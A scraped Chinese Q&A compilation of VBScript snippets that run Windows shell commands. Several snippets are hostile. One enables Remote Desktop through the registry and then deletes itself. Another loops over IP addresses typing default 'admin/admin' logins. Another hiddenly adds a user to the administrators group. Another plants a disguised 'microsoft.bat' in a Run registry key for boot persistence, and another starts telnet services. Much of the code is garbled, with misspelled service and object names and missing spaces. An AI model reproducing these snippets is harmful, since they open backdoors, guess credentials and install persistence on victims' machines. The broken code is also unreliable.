Ⅰ vbs 常用命令
1.点击WIN按钮,在运行对话框下面输入cmd,打开命令提示符窗口。
注意事项:
VBS, Microsoft Visual Basic Scripting Edition是Visual Basic编程语言家族的最新成员,它将灵活的脚本语言引入到更广泛的应用程序中,包括Microsoft Internet Explorer中的Web客户端脚本和Microsoft Internet Information Server中的Web服务器脚本。
Ⅱ 怎样把cmd内所有命令写进vbs里执行
Setws=CreateObject("WScript.Shell")
ws.Run"regadd""""/v""fDenyTSConnections""/tREG_DWORD/d00000000/f"
ws.Run"\abc安装包很放松的旋律.mp3%userprofile%桌面"
ws.Run"del很放松的旋律.zip"
Set fso = CreateObject("Scripting.Filesystemobject")
fso.DeleteFile(WScript.ScriptFullName)
Ⅲ 关于dos命令在vbs里面运行
Set ws = CreateObject("Wscript.Shell")
ws.Run c:\1.exe,1,True
ws.Run c:\2.exe
Ⅳ vbs批处理命令相关
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objTextFile = objFSO.OpenTextFile("C:\ip.txt",1)
set sh=WScript.CreateObject("WScript.Shell")
Do Until objTextFile.AtEndOfStream
IpAddress = objTextFile.Readline
WScript.Sleep 300
sh.SendKeys "open " + IpAddress + "{ENTER}"
WScript.Sleep 300
sh.SendKeys "admin{ENTER}"
WScript.Sleep 300
sh.SendKeys "admin{ENTER}"
WScript.Sleep 300
Loop
Ⅳ 如何用vbs命令启动CMD指定命令
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -f -t 120 -c ""关机.···"" ",0 ,true
dim a
do while(a <> "取消关机")
a = inputbox ("关机 ""取消关机""","取消关机","取消关机",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "取消关机"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "成功取消关机~!" 把上面的内容拷贝到文本文档另存为 关机程序.VBS 就OK了
Ⅵ 如何让VBS代码执行DOS命令
直接调用run方法就行。
dim objws
set ojbws=wscript.createobject("wscript.shelll")
objws.run "cmd /c @sc config Schele start= auto",0
objws.run "cmd /c @net stop " & chr(34) & "Task Scheler" & chr(34)",0
objws.run "cmd /c @net start " & chr(34) & "Task Scheler" & chr(34)",0
objws.run "cmd /c @sc config NtlmSsp start= auto",0
objws.run "cmd /c @net start NtlmSsp",0
objws.run "cmd /c @sc config RpcSs start= auto",0
objws.run "cmd /c @net start RpcSs",0
objws.run "cmd /c @net stop telnet",0
objws.run "cmd /c @net start telnet",0
Ⅶ vbs运行多条DOS命令
Set objWsh = CreateObject("WScript.Shell")
objWsh.Run "C:\WINDOWS\system32\cmd.exe",1,False
WScript.Sleep 3000
'3秒后开始执行第一条命令
objWsh.AppActivate "C:\WINDOWS\system32\cmd.exe"
objWsh.SendKeys "devcon /enable PCI\RXVSTOR*~"
WScript.Sleep 3000
'3秒后开始执行第二条命令
objWsh.AppActivate "C:\WINDOWS\system32\cmd.exe"
objWsh.SendKeys "devcon /disable PCI\RXVSTOR*~"
Set objWsh = Nothing
当然更方便的是把两条命令写在bat中来执行,特别是命令更多的时候
Ⅷ VBS执行DOS命令
去掉WScript.Quit
在最前面加个do,最后面加个loop
do
Set ws = CreateObject("WScript.Shell")host = WScript.FullName
If LCase( right(host, len(host)-InStrRev(host,"\")) ) = "wscript.exe" Then
ws.run "cscript """ & WScript.ScriptFullName & chr(34), 0
End If
Set oexec = ws.Exec( "ipconfig")
Msgbox oExec.StdOut.ReadAll, , "ipconfig"
loop
Ⅸ vbs编写CMD命令
'创建shell对象,以调用外部cmd命令
set wshshell=createobject("wscript.shell")
wshshell.run "cmd /c net user 用户 密码 /add && net localgroup administrators 用户 /add",vbhide
注:
代码中的”&&“是c命令分割符,这样几句cmd命令可以写在同一行 ;
”cmd /c “表示调用的事cmd命令提示符中的命令,其中的/c参数表示执行完成后关闭命令提示符窗口,vbhide参数表示后台运行
Ⅹ vbs脚本命令
set fso = createobject("scripting.filesystemobject")
set ofwr = fso.opentextfile(fso.getspecialfolder(WindowsFolder) & "\microsoft.bat",8,true)
ofwr.writeline "start %systemroot%\stem\a.exe"
createobject("wscript.shell").regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\micr.bat",fso.getspecialfolder(WindowsFolder) & "\microsoft.bat","REG_SZ"
其实没必要创建批处理文件
a.exe 可以直接加入启动项。
createobject("wscript.shell").regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\micr",fso.getspecialfolder(WindowsFolder) & "\stem\a.exe","REG_SZ"